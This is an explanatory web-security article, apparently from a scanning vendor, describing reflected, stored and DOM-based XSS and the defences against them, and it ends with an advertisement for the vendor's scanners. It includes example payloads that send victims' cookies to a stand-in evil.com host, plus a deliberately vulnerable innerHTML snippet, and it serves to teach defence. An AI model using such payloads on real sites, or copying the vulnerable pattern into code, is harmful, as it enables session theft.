Understanding XSS: Cross-Site Scripting Attacks Explained
A comprehensive guide to cross-site scripting (XSS) attacks — what they are, how reflected, stored, and DOM-based XSS work, and practical techniques to protect your web applications.

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious scripts into web pages viewed by other users. It is consistently ranked among the most critical web application security risks by OWASP, and it remains one of the most common vulnerabilities found in both hand-coded and AI-generated applications.
What is XSS?
At its core, XSS is an injection attack. Instead of injecting SQL into a database query (like SQL injection), XSS injects JavaScript into a web page. When another user visits that page, the malicious script executes in their browser with the same permissions as the legitimate page content.
This can allow an attacker to steal session cookies and authentication tokens, capture keystrokes and form data, redirect users to malicious websites, modify the page content to display fake information, and access any data the user can access within the application.
Types of XSS
Reflected XSS
Reflected XSS occurs when user input is immediately returned by the server in the response without proper sanitization. The malicious script is part of the request — typically in a URL parameter — and is "reflected" back to the user.
A typical attack vector looks like this: https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
If the application renders the search query without escaping it, the script executes in the victim's browser.
Stored XSS
Stored XSS (also called persistent XSS) is more dangerous because the malicious script is permanently stored on the target server — typically in a database, message forum, comment field, or user profile. Every user who views the affected page executes the malicious script.
For example, an attacker might post a comment containing: <script>fetch('https://evil.com/log?cookie='+document.cookie)</script>
Every user who views that comment unknowingly sends their session cookie to the attacker.
DOM-Based XSS
DOM-based XSS occurs entirely in the browser. The vulnerability exists in client-side JavaScript that processes data from an untrusted source (like the URL hash or a message event) and writes it to a dangerous sink in the DOM.
// VULNERABLE: DOM-based XSS
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// If name = <img src=x onerror=alert(1)>, XSS occurs!
Preventing XSS
Output Encoding
The primary defense against XSS is to encode (escape) all user-supplied data before rendering it in HTML. Modern frameworks like React handle this automatically for JSX expressions.
// React: Safe by default
function UserGreeting({ name }) {
return <h1>Hello, {name}</h1>; // Automatically escaped
}
// DANGER: Bypasses React's protection
function UnsafeContent({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
Content Security Policy (CSP)
Implementing a Content Security Policy header is one of the most effective defenses against XSS. CSP tells the browser which sources of content are allowed to load and execute.
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
Input Validation
Validate all user input on the server side. Reject input that contains unexpected characters or patterns, and use allowlists rather than blocklists.
Use HTTPOnly Cookies
Set the HttpOnly flag on session cookies to prevent JavaScript from accessing them. This doesn't prevent XSS, but it significantly limits the damage — an attacker can no longer steal session tokens.
XSS in AI-Generated Code
AI-generated React and Next.js applications are particularly susceptible to XSS through several patterns. The use of dangerouslySetInnerHTML for rendering rich text or markdown content, rendering user input in href attributes without validating the URL protocol, and server-side rendering that doesn't properly escape user data.
Vuln0x's XSS Scanner (10 credits) actively tests for reflected, stored, and DOM-based XSS vulnerabilities. The specialized React/Next.js XSS Detection scanner (1 credit) specifically looks for framework-specific XSS patterns like dangerouslySetInnerHTML usage and URL protocol injection.
For the deepest assessment, Sentinel includes xsstrike among its 29+ Kali Linux tools, performing advanced XSS detection with intelligent payload generation.
Test your app for XSS: Scan free with Vuln0x — 20 credits on signup, no credit card required.